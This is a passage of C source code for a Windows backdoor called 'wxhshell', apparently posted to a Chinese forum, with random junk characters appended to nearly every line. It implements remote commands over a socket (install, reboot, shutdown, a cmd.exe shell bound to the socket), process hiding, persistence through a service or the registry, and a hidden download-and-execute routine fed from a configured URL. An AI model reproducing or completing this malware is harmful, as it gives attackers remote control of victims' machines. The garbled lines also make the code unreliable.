6CLrP} u  
    switch(cmd[0]) { 57)S"  
  U#+S9jWe  
  // 帮助 ?y'KX]/  
  case '?': { 3ZU`}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p(%7|'  
    break; <m`HK.|~  
  } Tm_AoZH  
  // 安装 ~kYUp5f  
  case 'i': { mmAikT#k  
    if(Install()) wtetB')yD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AASw^A3p  
    else ]/HSlT=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3|ttUX  
    break; PLKp<kg  
    } d[w'j/{  
  // 卸载 nu}$wLM  
  case 'r': { c7q1;X{:  
    if(Uninstall()) .Hl]xI$;+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1SP )`Q  
    else vO%n~l=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?7@B$OlU  
    break; c\-5vw||b  
    } 92WvD  
  // 显示 wxhshell 所在路径 %8>s:YG  
  case 'p': { 5.]+K<:h"A  
    char svExeFile[MAX_PATH]; S WVeUL#5  
    strcpy(svExeFile,"\n\r"); [95(%&k.Q  
      strcat(svExeFile,ExeFile); ,_r"=>?@  
        send(wsh,svExeFile,strlen(svExeFile),0); H`njKKdR  
    break; ixw3Z D(>+  
    } efy65+~GG  
  // 重启 Ha@'%<gFe  
  case 'b': { D*o_IrG_(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 84DneSpHsp  
    if(Boot(REBOOT)) ePq(:ih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@tkL!"9q  
    else { ';hU&D;s  
    closesocket(wsh); f'0n^mSP  
    ExitThread(0); 8s/gjEwA  
    } }7RR",w  
    break; L$cNxz0$  
    } MGfDxHg]  
  // 关机 !lKO|Y  
  case 'd': { TUIj-HSe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h=.|!u  
    if(Boot(SHUTDOWN)) X]U,`oE)9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gD3s,<>o  
    else { ,=O`'l >K  
    closesocket(wsh); {UX?z?0T  
    ExitThread(0); X|q&0W=  
    } ^ llZf$`  
    break; f_}/JF  
    } ((Ak/qz  
  // 获取shell = I,O+^  
  case 's': { '$YB -  
    CmdShell(wsh); HYyO/U9z|I  
    closesocket(wsh); Bw;sg;  
    ExitThread(0); rL3<r  
    break; XE* @*  
  } {YC!pDG  
  // 退出 C8rD54A'M  
  case 'x': { >A5R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q1jU{  
    CloseIt(wsh); cjAKc|NJ  
    break; C93BK)$}  
    } gKeqf-UWKJ  
  // 离开 rl4B(NZi}  
  case 'q': { 59!yz'feF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R''nZ/R  
    closesocket(wsh); T]-yTsto  
    WSACleanup(); T]Z|Wq`bot  
    exit(1); )b`Xc+{>  
    break; k4fc 5P  
        } to,DN2rN  
  } s0uI;WMg  
  } M #'br<]  
(DJLq  
  // 提示信息 Yv k Qh{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F1)B-wW  
} >}Qj|05G  
  } $&~/`MxE  
oFM\L^Y?$$  
  return; qzS 9ls>>  
} b~X^vXIv%%  
c.-h'1  
// shell模块句柄 U/F<r3.`#  
int CmdShell(SOCKET sock) JYuI~<:  
{ ?T=] ?[  
STARTUPINFO si; Atsi}zTR\  
ZeroMemory(&si,sizeof(si)); .w2QiJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ie|I*;#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )OQhtxK  
PROCESS_INFORMATION ProcessInfo; H,,-;tN?  
char cmdline[]="cmd"; |T?wM/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e~R; 2bk  
  return 0; u>c\J|K_V  
} AQ n>K{M  
X8~dFjhX  
// 自身启动模式 w1HE^ /  
int StartFromService(void) j,%@%upM  
{ MV +R$  
typedef struct $jT&]p  
{ 2VmQ%y6e"  
  DWORD ExitStatus; Gr9/@U+  
  DWORD PebBaseAddress; ! |SPOk  
  DWORD AffinityMask; @sQ^6FK0G  
  DWORD BasePriority; r /v'h@  
  ULONG UniqueProcessId; 5`qt82Qm  
  ULONG InheritedFromUniqueProcessId; &y` MDyXz  
}   PROCESS_BASIC_INFORMATION; dxqVZksg(9  
U'^AJ2L8  
PROCNTQSIP NtQueryInformationProcess; .5Y%I;~v  
eduaG,+k7p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hsV+?#I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jf\lnJTyU8  
x._IP,vRx^  
  HANDLE             hProcess; V]b1cDx{  
  PROCESS_BASIC_INFORMATION pbi; *M5 : \+  
fR_ jYP 1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rM<lPMr1*  
  if(NULL == hInst ) return 0; wMy$T<:   
8N<0|u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Mo`l/Cwp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p7(Pymkd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n}==  
|1^>n,C  
  if (!NtQueryInformationProcess) return 0; qW]gp7jK4  
shW$V93<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eUQ.,mP  
  if(!hProcess) return 0; nb(4"|8}  
b?Wg|D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WelB+P2  
hW*2Le!I  
  CloseHandle(hProcess); ~ILig}I  
vQrce&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?]%JQ]Gf*  
if(hProcess==NULL) return 0; SQ#6~zxl  
wUzQ`h2  
HMODULE hMod; '!`%!Xg  
char procName[255]; YArNJ5z=  
unsigned long cbNeeded; G yZYP\'S+  
s vn[c*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'Z2:u!E  
F\1nc"K/(  
  CloseHandle(hProcess); ~ZU;0#  
#1R_* Uh  
if(strstr(procName,"services")) return 1; // 以服务启动 fs4pAB#F  
3nuf3)  
  return 0; // 注册表启动 xw: v|(  
} ~ `2w ul  
D^Dm, -  
// 主模块 WujIaJt-  
int StartWxhshell(LPSTR lpCmdLine) ~45u a  
{ /=Ug}%.  
  SOCKET wsl; $w%oLI@kl  
BOOL val=TRUE; >JT{~SRB|Y  
  int port=0; ^|}C!t+  
  struct sockaddr_in door; 3ojK2F(1D  
Wu)ATs}  
  if(wscfg.ws_autoins) Install(); iHjo3_g)n  
KsYT3  
port=atoi(lpCmdLine); aKs!*uo0H  
5_Yv>tx  
if(port<=0) port=wscfg.ws_port; (ohkM`83k  
ezTu1-m  
  WSADATA data; _dqjRhu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &QE^i%6>\  
R#~}ZUk2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hM E|=\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )DMu`cD  
  door.sin_family = AF_INET; IyG5Rj2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L*tXy>&b.  
  door.sin_port = htons(port); nzy =0Ox[  
t )Z2"_5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x$CpUy{6  
closesocket(wsl); d;S:<]l'  
return 1; 9CJUOB>]  
} DjOFfD\MF  
f[7'kv5S  
  if(listen(wsl,2) == INVALID_SOCKET) { |PH]0.m5  
closesocket(wsl); hM\QqZFyp  
return 1; V.WfP*~NJ  
} qU8UKIP  
  Wxhshell(wsl); w GZ(bKyO  
  WSACleanup(); }SitT\%  
Z.6`O1OY}?  
return 0; QXJD' c  
+azPpGZ=  
} SUD]Wl7G`r  
3FPy"[[  
// 以NT服务方式启动 yD1*^~loJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XyS#6D  
{ #!#V!^ o  
DWORD   status = 0; };oRx)  
  DWORD   specificError = 0xfffffff; $pk3d+0B  
u MzefRN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v{ C]\8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 344,mnAd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :#TJ-l:#  
  serviceStatus.dwWin32ExitCode     = 0; 7vr)JT=  
  serviceStatus.dwServiceSpecificExitCode = 0; 1bzPBi  
  serviceStatus.dwCheckPoint       = 0; CyG@  
  serviceStatus.dwWaitHint       = 0; ) 2S0OY.  
ItM?nyA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  pMt]wyKr  
  if (hServiceStatusHandle==0) return; w2{k0MW  
3tXtt@Yy  
status = GetLastError(); z*yN*M6t  
  if (status!=NO_ERROR) +Yi=W o/  
{ 9k7|B>LT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }i[i{lKj  
    serviceStatus.dwCheckPoint       = 0; YY7:WQS  
    serviceStatus.dwWaitHint       = 0; *qOo,e  
    serviceStatus.dwWin32ExitCode     = status; U^pe/11)H  
    serviceStatus.dwServiceSpecificExitCode = specificError; pbqa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $,i:#KT`  
    return; yv3my aS  
  } ,}{E+e5jh7  
2#+@bk>^{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7%7_i%6wP  
  serviceStatus.dwCheckPoint       = 0; >5^Z'!Z"  
  serviceStatus.dwWaitHint       = 0; s ^)W?3t]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Za\T?V  
} `n^jU92  
a*SJHBB  
// 处理NT服务事件,比如:启动、停止 gEi" m5po  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &7@6Y{!/  
{ P45q}v  
switch(fdwControl) ' J-(v  
{ 0*g psS  
case SERVICE_CONTROL_STOP: )3)L  
  serviceStatus.dwWin32ExitCode = 0; *3 9sh[*}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kJDMIh|g  
  serviceStatus.dwCheckPoint   = 0; #G*z{BRQ  
  serviceStatus.dwWaitHint     = 0; 7FMHz.ZRE  
  { f2{4Y)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v11mu2  
  } GuDus2#+  
  return; K] Eq"3  
case SERVICE_CONTROL_PAUSE: >Y2Rr9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E#HO0 ]S  
  break; E0)v;yRcw  
case SERVICE_CONTROL_CONTINUE: ,YkQJ$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ahV_4;yF  
  break; q>Q|:g&:  
case SERVICE_CONTROL_INTERROGATE: ,%KB\;1mn'  
  break; k*-+@U"+  
}; |Cen5s W&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,/d-o;W  
} Z&.FJZUP  
CiMy_`H  
// 标准应用程序主函数 nmSpNkJ5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dUe"qH29s  
{ s#d# *pgzh  
jM7}LV1Ck  
// 获取操作系统版本 '6xn!dK  
OsIsNt=GetOsVer(); N`zHe*=[~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +-.BF"}  
_aD x('  
  // 从命令行安装 CLYcg$V  
  if(strpbrk(lpCmdLine,"iI")) Install(); EI_J7J+  
X,OxvmDm  
  // 下载执行文件 )E4COw+  
if(wscfg.ws_downexe) { -_4! id  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3aDma/  
  WinExec(wscfg.ws_filenam,SW_HIDE); `nizGg~1  
} '.dW>7  
#JW1JCT  
if(!OsIsNt) { SjJUhTb  
// 如果时win9x,隐藏进程并且设置为注册表启动 K GI]W|T  
HideProc(); qh&K{r*T  
StartWxhshell(lpCmdLine); pD>3c9J'^F  
} v(t&8)Uu  
else X'u`\<&W  
  if(StartFromService()) ,%jJ ,G,  
  // 以服务方式启动 -#i%4[v  
  StartServiceCtrlDispatcher(DispatchTable); S3=J1R,  
else K3Xy%pqR#  
  // 普通方式启动 S\X_!|  
  StartWxhshell(lpCmdLine); un /eS-IIh  
;{ezK8FJ}@  
return 0; 0SDCo\  
}
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只看该作者 1 发表于: 2006-10-10
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